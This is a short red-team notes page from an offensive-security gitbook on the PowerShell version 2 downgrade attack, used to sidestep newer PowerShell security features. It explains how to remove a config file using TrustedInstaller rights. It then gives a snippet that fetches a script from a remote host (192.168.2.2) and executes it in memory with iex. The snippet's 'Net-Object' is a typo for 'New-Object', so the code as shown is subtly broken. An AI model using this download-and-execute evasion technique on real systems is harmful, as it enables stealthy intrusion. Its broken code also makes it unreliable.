> For the complete documentation index, see [llms.txt](https://rfc1918.gitbook.io/offsec/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://rfc1918.gitbook.io/offsec/defence-evasion/powershell/powershell-version-2.md).

# PowerShell version 2

PowerShell downgrade attack is popular with red teams. If you can run PowerShell v2, ALL security measures we have seen are bypassed as v2 simply doesn't support them.

{% hint style="info" %}
In case you receive the following error message: \
\
Create : Exception calling "Create" with "1" argument(s): "Configuration system failed to initialize"

\
You will need to delete the C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe.Config\
\
You will require TrustedInstaller rights for this:&#x20;

<https://github.com/rara64/GetTrustedInstaller>
{% endhint %}

## Downloading into memory using PowerShell 2

```powershell
$downloader = Net-Object -ComObject WinHttp.WinHttpRequest.5.1
$downloader.open("GET", "http://192.168.2.2/script.ps1", $false)
$downloader.send()
iex $downloader.responseText
```
